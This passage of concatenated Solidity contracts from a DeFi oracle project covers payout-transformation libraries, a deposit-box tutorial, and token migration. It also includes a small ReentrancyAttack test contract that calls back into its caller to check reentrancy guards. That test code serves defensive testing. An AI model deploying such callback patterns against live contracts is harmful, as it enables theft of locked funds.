function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThan(strike)) {
return FixedPoint.fromUnscaledUint(1);
} else {
// Token expires to be worth strike $ worth of collateral.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 400/500 = 0.8 WETH.
return strike.div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the structured note payout structure. If the price
* of the structured note is greater than the strike then the collateral requirement scales down accordingly.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If the price is less than the strike than the original collateral requirement is used.
if (oraclePrice.isLessThan(strike)) {
return collateralRequirement;
} else {
// If the price is more than the strike then the collateral requirement is scaled by the strike. For example
// a strike of $400 and a CR of 1.2 would yield:
// ETHUSD = $350, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $400, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $425, payout is 0.941 WETH (worth $400). CR is multiplied by 0.941. resulting CR = 1.1292
// ETHUSD = $500, payout is 0.8 WETH (worth $400). CR multiplied by 0.8. resulting CR = 0.96
return collateralRequirement.mul(strike.div(oraclePrice));
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Pre-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made before expiration then a transformation is made to the identifier
* & if it is at or after expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PreExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is pre expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is pre-expiration and no transformation if post.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is before contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return financialProductTransformedIdentifiers[msg.sender];
} else {
return identifier;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Post-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made at or after expiration then a transformation is made to the identifier
* & if it is before expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PostExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is post expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is post-expiration and no transformation if pre.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is after contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return identifier;
} else {
return financialProductTransformedIdentifiers[msg.sender];
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title KPI Options Financial Product Library
* @notice Adds custom tranformation logic to modify the price and collateral requirement behavior of the expiring multi party contract.
* If a price request is made pre-expiry, the price should always be set to 2 and the collateral requirement should be set to 1.
* Post-expiry, the collateral requirement is left as 1 and the price is left unchanged.
*/
contract KpiOptionsFinancialProductLibrary is FinancialProductLibrary, Lockable {
/**
* @notice Returns a transformed price for pre-expiry price requests.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
// If price request is made before expiry, return 2. Thus we can keep the contract 100% collateralized with
// each token backed 1:2 by collateral currency. Post-expiry, leave unchanged.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(2);
} else {
return oraclePrice;
}
}
/**
* @notice Returns a transformed collateral requirement that is set to be equivalent to 2 tokens pre-expiry.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled to a flat rate.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Always return 1.
return FixedPoint.fromUnscaledUint(1);
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title CoveredCall Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out a portion of that, at expiry, if ETHUSD is above a set strike. If
* ETHUSD is below that strike, the contract pays out 0. The fraction paid out if above the strike is defined by
* (oraclePrice - strikePrice) / oraclePrice;
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH.
* If ETHUSD = $600 at expiry, the call is $200 in the money, and the contract pays out 0.333 WETH (worth $200).
* If ETHUSD = $800 at expiry, the call is $400 in the money, and the contract pays out 0.5 WETH (worth $400).
* If ETHUSD =< $400 at expiry, the call is out of the money, and the contract pays out 0 WETH.
*/
contract CoveredCallFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => FixedPoint.Unsigned) private financialProductStrikes;
/**
* @notice Enables any address to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the covered call to be applied to the financial product.
* @dev Note: a) Any address can set the initial strike price b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) For safety, a strike price should be set before depositing any synthetic tokens in a liquidity pool.
* e) financialProduct must expose an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the call option payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThanOrEqual(strike)) {
return FixedPoint.fromUnscaledUint(0);
} else {
// Token expires to be worth the fraction of a collateral token that's in the money.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 100/500 = 0.2 WETH (worth $100).
// Note: oraclePrice cannot be 0 here because it would always satisfy the if above because 0 <= x is always
// true.
return (oraclePrice.sub(strike)).div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the covered call payout structure.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// Always return 1 because option must be collateralized by 1 token.
return FixedPoint.fromUnscaledUint(1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Lockable.sol";
import "./ReentrancyAttack.sol";
// Tests reentrancy guards defined in Lockable.sol.
// Extends https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyMock.sol.
contract ReentrancyMock is Lockable {
uint256 public counter;
constructor() public {
counter = 0;
}
function callback() external nonReentrant {
_count();
}
function countAndSend(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("callback()"));
attacker.callSender(func);
}
function countAndCall(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("getCount()"));
attacker.callSender(func);
}
function countLocalRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
countLocalRecursive(n - 1);
}
}
function countThisRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1));
require(success, "ReentrancyMock: failed call");
}
}
function countLocalCall() public nonReentrant {
getCount();
}
function countThisCall() public nonReentrant {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("getCount()"));
require(success, "ReentrancyMock: failed call");
}
function getCount() public view nonReentrantView returns (uint256) {
return counter;
}
function _count() private {
counter += 1;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
// Tests reentrancy guards defined in Lockable.sol.
// Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyAttack.sol.
contract ReentrancyAttack {
function callSender(bytes4 data) public {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = msg.sender.call(abi.encodeWithSelector(data));
require(success, "ReentrancyAttack: failed call");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../common/FeePayer.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/implementation/ContractCreator.sol";
/**
* @title Token Deposit Box
* @notice This is a minimal example of a financial template that depends on price requests from the DVM.
* This contract should be thought of as a "Deposit Box" into which the user deposits some ERC20 collateral.
* The main feature of this box is that the user can withdraw their ERC20 corresponding to a desired USD amount.
* When the user wants to make a withdrawal, a price request is enqueued with the UMA DVM.
* For simplicty, the user is constrained to have one outstanding withdrawal request at any given time.
* Regular fees are charged on the collateral in the deposit box throughout the lifetime of the deposit box,
* and final fees are charged on each price request.
*
* This example is intended to accompany a technical tutorial for how to integrate the DVM into a project.
* The main feature this demo serves to showcase is how to build a financial product on-chain that "pulls" price
* requests from the DVM on-demand, which is an implementation of the "priceless" oracle framework.
*
* The typical user flow would be:
* - User sets up a deposit box for the (wETH - USD) price-identifier. The "collateral currency" in this deposit
* box is therefore wETH.
* The user can subsequently make withdrawal requests for USD-denominated amounts of wETH.
* - User deposits 10 wETH into their deposit box.
* - User later requests to withdraw $100 USD of wETH.
* - DepositBox asks DVM for latest wETH/USD exchange rate.
* - DVM resolves the exchange rate at: 1 wETH is worth 200 USD.
* - DepositBox transfers 0.5 wETH to user.
*/
contract DepositBox is FeePayer, ContractCreator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
// Represents a single caller's deposit box. All collateral is held by this contract.
struct DepositBoxData {
// Requested amount of collateral, denominated in quote asset of the price identifier.
// Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then
// this represents a withdrawal request for 100 USD worth of wETH.
FixedPoint.Unsigned withdrawalRequestAmount;
// Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`.
uint256 requestPassTimestamp;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps addresses to their deposit boxes. Each address can have only one position.
mapping(address => DepositBoxData) private depositBoxes;
// Unique identifier for DVM price feed ticker.
bytes32 private priceIdentifier;
// Similar to the rawCollateral in DepositBoxData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned private rawTotalDepositBoxCollateral;
// This blocks every public state-modifying method until it flips to true, via the `initialize()` method.
bool private initialized;
/****************************************
* EVENTS *
****************************************/
event NewDepositBox(address indexed user);
event EndedDepositBox(address indexed user);
event Deposit(address indexed user, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp);
event RequestWithdrawalExecuted(
address indexed user,
uint256 indexed collateralAmount,
uint256 exchangeRate,
uint256 requestPassTimestamp
);
event RequestWithdrawalCanceled(
address indexed user,
uint256 indexed collateralAmount,
uint256 requestPassTimestamp
);
/****************************************
* MODIFIERS *
****************************************/
modifier noPendingWithdrawal(address user) {
_depositBoxHasNoPendingWithdrawal(user);
_;
}
modifier isInitialized() {
_isInitialized();
_;
}
/****************************************
* PUBLIC FUNCTIONS *
****************************************/
/**
* @notice Construct the DepositBox.
* @param _collateralAddress ERC20 token to be deposited.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited.
* The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20
* currency deposited into this account, and it is denominated in the "quote" asset on withdrawals.
* An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
bytes32 _priceIdentifier,
address _timerAddress
)
public
ContractCreator(_finderAddress)
FeePayer(_collateralAddress, _finderAddress, _timerAddress)
nonReentrant()
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier");
priceIdentifier = _priceIdentifier;
}
/**
* @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required
* to make price requests in production environments.
* @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM.
* Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role
* in order to register with the `Registry`. But, its address is not known until after deployment.
*/
function initialize() public nonReentrant() {
initialized = true;
_registerContract(new address[](0), address(this));
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box.
* @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() {
require(collateralAmount.isGreaterThan(0), "Invalid collateral amount");
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) {
emit NewDepositBox(msg.sender);
}
// Increase the individual deposit box and global collateral balance by collateral amount.
_incrementCollateralBalances(depositBoxData, collateralAmount);
emit Deposit(msg.sender, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount`
* from their position denominated in the quote asset of the price identifier, following a DVM price resolution.
* @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time.
* Only one withdrawal request can exist for the user.
* @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw.
*/
function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount)
public
isInitialized()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount");
// Update the position object for the user.
depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount;
depositBoxData.requestPassTimestamp = getCurrentTime();
emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp);
// Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee.
FixedPoint.Unsigned memory finalFee = _computeFinalFees();
require(
_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee),
"Cannot pay final fee"
);
_payFinalFees(address(this), finalFee);
// A price request is sent for the current timestamp.
_requestOraclePrice(depositBoxData.requestPassTimestamp);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution),
* withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function executeWithdrawal()
external
isInitialized()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(
depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(),
"Invalid withdraw request"
);
// Get the resolved price or revert.
FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp);
// Calculate denomated amount of collateral based on resolved exchange rate.
// Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH.
// Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH.
FixedPoint.Unsigned memory denominatedAmountToWithdraw =
depositBoxData.withdrawalRequestAmount.div(exchangeRate);
// If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data.
if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) {
denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral);
// Reset the position state as all the value has been removed after settlement.
emit EndedDepositBox(msg.sender);
}
// Decrease the individual deposit box and global collateral balance.
amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw);
emit RequestWithdrawalExecuted(
msg.sender,
amountWithdrawn.rawValue,
exchangeRate.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external isInitialized() nonReentrant() {
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal");
emit RequestWithdrawalCanceled(
msg.sender,
depositBoxData.withdrawalRequestAmount.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
}
/**
* @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but
* because this is a minimal demo they will simply exit silently.
*/
function emergencyShutdown() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently.
*/
function remargin() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Accessor method for a user's collateral.
* @dev This is necessary because the struct returned by the depositBoxes() method shows
* rawCollateral, which isn't a user-readable value.
* @param user address whose collateral amount is retrieved.
* @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal).
*/
function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral);
}
/**
* @notice Accessor method for the total collateral stored within the entire contract.
* @return the total fee-adjusted collateral amount in the contract (i.e. across all users).
*/
function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(priceIdentifier, requestedTime);
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(depositBoxData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(depositBoxData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal {
depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
depositBoxData.requestPassTimestamp = 0;
}
function _depositBoxHasNoPendingWithdrawal(address user) internal view {
require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal");
}
function _isInitialized() internal view {
require(initialized, "Uninitialized contract");
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime);
// For simplicity we don't want to deal with negative prices.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from
// which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the
// contract.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "./VotingToken.sol";
/**
* @title Migration contract for VotingTokens.
* @dev Handles migrating token holders from one token to the next.
*/
contract TokenMigrator {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
VotingToken public oldToken;
ExpandedIERC20 public newToken;
uint256 public snapshotId;
FixedPoint.Unsigned public rate;
mapping(address => bool) public hasMigrated;
/**
* @notice Construct the TokenMigrator contract.
* @dev This function triggers the snapshot upon which all migrations will be based.
* @param _rate the number of old tokens it takes to generate one new token.
* @param _oldToken address of the token being migrated from.
* @param _newToken address of the token being migrated to.
*/
constructor(
FixedPoint.Unsigned memory _rate,
address _oldToken,
address _newToken
) public {
// Prevents division by 0 in migrateTokens().
// Also it doesn’t make sense to have “0 old tokens equate to 1 new token”.
require(_rate.isGreaterThan(0), "Rate can't be 0");
rate = _rate;
newToken = ExpandedIERC20(_newToken);
oldToken = VotingToken(_oldToken);
snapshotId = oldToken.snapshot();
}
/**
* @notice Migrates the tokenHolder's old tokens to new tokens.
* @dev This function can only be called once per `tokenHolder`. Anyone can call this method
* on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier.
* @param tokenHolder address of the token holder to migrate.
*/
function migrateTokens(address tokenHolder) external {
require(!hasMigrated[tokenHolder], "Already migrated tokens");
hasMigrated[tokenHolder] = true;
FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId));
if (!oldBalance.isGreaterThan(0)) {
return;
}
FixedPoint.Unsigned memory newBalance = oldBalance.div(rate);
require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/ExpandedERC20.sol";
contract TokenSender {
function transferERC20(
address tokenAddress,
address recipientAddress,
uint256 amount
) public returns (bool) {
IERC20 token = IERC20(tokenAddress);
token.transfer(recipientAddress, amount);
return true;
}
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
